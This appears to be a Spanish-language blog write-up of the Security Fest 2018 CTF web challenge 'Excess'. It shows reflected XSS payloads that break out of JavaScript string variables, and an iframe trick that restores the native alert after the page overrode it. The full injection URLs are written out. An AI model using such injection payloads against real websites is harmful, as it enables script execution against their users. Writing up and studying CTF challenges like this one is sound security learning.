Security Fest #CTF – Excess write up (XSS)

Posted on Jun 15, 2018 · 745 words · 4 minute read

Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.

Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link

Por mi parte estoy listo para participar en Viettel Mates CTF 2018 este fin de semana 🙂 y el 23 de junio en Google Capture The Flag 2018 (Quals)

Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolví tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.

Security Fest CTF Excess – Web Challenge

Excess fue uno de los primeros retos de la categoría web, en las instrucciones se nos daba un link a una pagina web y al entrar veíamos la siguiente pantalla.

Las instrucciones son bastante claras, tenemos que encontrar un XSS en el sitio y hacer que muestre un alert, después mandar la URL con nuestro payload y reclamar la bandera.

Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.

Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.

Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.

En el parámetro xss enviamos:

/?xss=<strong>hello';alert(1);//</strong>

Y el código se va a inyectar de la siguiente forma:

…  
..  
<div class="container">
<script>var x ='hello';alert(1);//; var y = \`hello';alert(1);//; var z = "hello';alert(1);//;</script>
<div class="row main">
<div class="form-header header">  
…  
..

Nuestro payload se inyecta 3 veces, pero no importa puesto que después del primer // todo el resto del código quedara comentado. En el sitio web vemos la siguiente alerta.

¿Qué?, ¿Cómo?, ¿Cuándo? xd nosotros inyectamos un alert no un prompt, inspeccionando el código fuente del sitio mas a detalle y observamos que hay un script que se esta llamando antes de que inyectemos nuestro código.

<script src="/static/no\_alert\_for_you.js"></script><section class="login-info">

Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.

/*

If there is no alert,  
how can there be XSS?  
/  
/  
) (  
/( (\___/) )\  
( #) \ (")| ( #  
||\_\\_\_c\ > '\_\_||  
||*\*\\*\* ),_/ \*\*'|  
.__ |'\* \_\\_\_| |\_\__\*'|  
\_\ |' ( ~ ,)'|  
(( |' /(. ' .)\ |  
\\_|\_/ <\_ __\_\\_\_> \\_\_\___\___\___\___  
/ '-, \ / ,-' \___\___ \  
b'ger / (// \\) __/ / \  
'./\_____/

*/  
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));

Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.

Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.

Después de investigar un buen rato encontré varios artículos que describen esta técnica (override de funciones nativas) para mitigar ataques de XSS, sin embargo esto no soluciona el problema debido a la misma naturaleza del lenguaje Javascript, a continuación muestro como creando un elemento iframe, que tiene una instancia nueva y sin modificar del objeto Window, es posible ejecutar las funciones nativas originales.

var iframe = document.createElement('iframe'); // creamos un nuevo iframe  
iframe.src = ";  
iframe.style.display = 'none';  
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido  
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original  
alert(1); // Ejecutamos el alert original

Armamos nuestro payload y lo inyectamos en el parámetro xss.

/?xss=hello%27;var%20iframe=document.createElement(%27iframe%27);iframe.src=%27%27;iframe.style.display=%27none%27;document.body.appendChild(iframe);window.alert=iframe.contentWindow.alert;alert(1);//

Y veremos el alert original en la pantalla, enviamos la URL con nuestro payload y obtenemos la bandera de este reto.

Happy hacking 🙂